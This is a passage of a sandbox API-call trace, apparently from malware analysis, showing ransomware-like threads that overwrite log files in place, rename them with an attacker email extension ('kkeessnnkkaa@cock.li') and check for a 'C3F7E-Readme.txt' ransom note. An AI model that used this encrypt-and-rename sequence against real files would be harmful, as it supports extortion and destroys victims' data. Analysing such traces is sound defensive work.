	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x9cdf6e5e
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xbdbcd436
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xe8767b4d
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xdb3322fa
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x67148a74
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xd9886be9
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x772a3c7c
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x5313bcb0
	[0083.986] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xfe4f1c23
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xddd00580
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x28a86951
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x8d791678
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x8a954bfe
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x33ca27aa
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x44f89c3
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xbc45cdc4
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xfec3cc4c
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x43167821
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xb5b39f7d
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x58f70209
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0x24dd5652
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xdc1f0384
	[0083.987] RtlRandom (in: Seed=0x27bbf954 | out: Seed=0x27bbf954) returned 0xe48d573b
	[0083.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.995] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.995] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.996] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.996] ReadFile (in: hFile=0x1700, lpBuffer=0x5032038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x27bbf944, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x27bbf944*=0x2000, lpOverlapped=0x0) returned 1
	[0083.997] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.997] WriteFile (in: hFile=0x1700, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x27bbf940, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x27bbf940*=0x2000, lpOverlapped=0x0) returned 1
	[0084.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340a0
	[0084.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340a0) returned 1
	[0084.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0084.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0084.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0084.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0084.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776650
	[0084.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x47765b0
	[0084.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x4ebca00
	[0084.910] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.910] WriteFile (in: hFile=0x1700, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x27bbf9a8, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x27bbf9a8*=0x129, lpOverlapped=0x0) returned 1
	[0084.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0084.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47765b0) returned 1
	[0084.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776650) returned 1
	[0084.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0084.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0084.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0084.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4924bb8
	[0084.915] wcscpy (in: _Dest=0x4924bb8, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl"
	[0084.915] wcscat (in: _Dest=0x4924bb8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.915] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27bbf960, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44980
	[0084.915] NtSetInformationFile (FileHandle=0x1700, IoStatusBlock=0x27bbf958, FileInformation=0x2e44980, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0084.922] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0084.926] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0084.926] NtQueryInformationFile (in: FileHandle=0x1700, IoStatusBlock=0x27bbf96c, FileInformation=0x27bbf944, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27bbf96c, FileInformation=0x27bbf944) returned 0x0
	[0084.926] NtSetInformationFile (FileHandle=0x1700, IoStatusBlock=0x27bbf96c, FileInformation=0x27bbf944, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.927] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924bb8) returned 1
	[0084.927] FlushFileBuffers (hFile=0x1700) returned 1
	[0084.928] CloseHandle (hObject=0x1700) returned 1
	[0084.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x47335f8
	[0084.929] wcscpy (in: _Dest=0x47335f8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.929] wcscat (in: _Dest=0x47335f8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.929] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47335f8) returned 1
	[0084.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bda10) returned 1

Thread:
	id = 1131
	os_tid = 0x1e1c

	[0083.601] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.014.etl")) returned 0x2020
	[0083.653] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl", dwFileAttributes=0x20) returned 1
	[0083.654] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.014.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0083.672] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x27c3fa84 | out: lpFileSize=0x27c3fa84*=8192) returned 1
	[0083.672] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.672] ReadFile (in: hFile=0x16ec, lpBuffer=0x27c3fa08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27c3fa04, lpOverlapped=0x0 | out: lpBuffer=0x27c3fa08*, lpNumberOfBytesRead=0x27c3fa04*=0x4, lpOverlapped=0x0) returned 1
	[0083.674] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.674] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.674] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.674] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.674] NtQuerySystemTime (in: CurrentTime=0x27c3f9e4 | out: CurrentTime=0x27c3f9e4*=132251868104101621) returned 0x0
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x2e21b7e7
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xbec7941
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x35f961de
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x2a9ad85f
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x736a0998
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x5f4a971
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xfd886d4d
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xd34cfbfc
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x2a9d36c2
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x4188bae9
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xc584f759
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x4b126ca2
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x4ebb4993
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xf577af8e
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xfbe4d67b
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x8edea70b
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xbc1f6786
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x3d21fc97
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x22c7ae60
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x800f402c
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xf03f0ebf
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xbad71ef6
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x2d3b1eaf
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xa6903613
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x21af267d
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x28ca4c75
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x255618d7
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xb8788385
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x1eb7ddca
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0xc17f1b1a
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x259119aa
	[0083.674] RtlRandom (in: Seed=0x27c3f9f0 | out: Seed=0x27c3f9f0) returned 0x9df15be7
	[0083.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.683] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea3008
	[0083.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.684] ReadFile (in: hFile=0x16ec, lpBuffer=0x4ea3008, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x27c3f9e0, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesRead=0x27c3f9e0*=0x2000, lpOverlapped=0x0) returned 1
	[0083.685] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.685] WriteFile (in: hFile=0x16ec, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x27c3f9dc, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x27c3f9dc*=0x2000, lpOverlapped=0x0) returned 1
	[0083.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea3008) returned 1
	[0083.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x47761f0
	[0083.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775ed0
	[0083.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0083.686] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.686] WriteFile (in: hFile=0x16ec, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x27c3fa44, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x27c3fa44*=0x129, lpOverlapped=0x0) returned 1
	[0083.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775ed0) returned 1
	[0083.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47761f0) returned 1
	[0083.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925518
	[0083.689] wcscpy (in: _Dest=0x4925518, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl"
	[0083.689] wcscat (in: _Dest=0x4925518, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.689] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27c3f9fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0083.689] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x27c3f9f4, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0083.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0083.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0083.691] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x27c3fa08, FileInformation=0x27c3f9e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27c3fa08, FileInformation=0x27c3f9e0) returned 0x0
	[0083.691] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x27c3fa08, FileInformation=0x27c3f9e0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925518) returned 1
	[0083.693] FlushFileBuffers (hFile=0x16ec) returned 1
	[0083.703] CloseHandle (hObject=0x16ec) returned 1
	[0083.705] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.705] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.705] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.705] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.705] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.705] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bda90) returned 1

Thread:
	id = 1132
	os_tid = 0x1e20

	[0083.602] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.015.etl")) returned 0x2020
	[0083.951] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl", dwFileAttributes=0x20) returned 1
	[0083.964] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.015.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f8
	[0083.964] GetFileSizeEx (in: hFile=0x16f8, lpFileSize=0x27cbf830 | out: lpFileSize=0x27cbf830*=8192) returned 1
	[0083.964] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.964] ReadFile (in: hFile=0x16f8, lpBuffer=0x27cbf7b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27cbf7b0, lpOverlapped=0x0 | out: lpBuffer=0x27cbf7b4*, lpNumberOfBytesRead=0x27cbf7b0*=0x4, lpOverlapped=0x0) returned 1
	[0083.965] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.965] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f28
	[0083.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0083.966] NtQuerySystemTime (in: CurrentTime=0x27cbf790 | out: CurrentTime=0x27cbf790*=132251868107033499) returned 0x0
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x6614b807
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x71695428
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x3e30d76d
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x5dfa5ada
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x6ccd0dce
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x180cd2dd
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x4b010fa9
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xba670316
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xb129d79d
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xc24cbc73
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x2c7424b8
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xa8c27ee0
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x5fe9ec4c
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xf5053fec
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x264ae0b6
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0xcf2cfc98
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x2bd21ecc
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x5b4873c6
	[0083.966] RtlRandom (in: Seed=0x27cbf79c | out: Seed=0x27cbf79c) returned 0x883e6fad
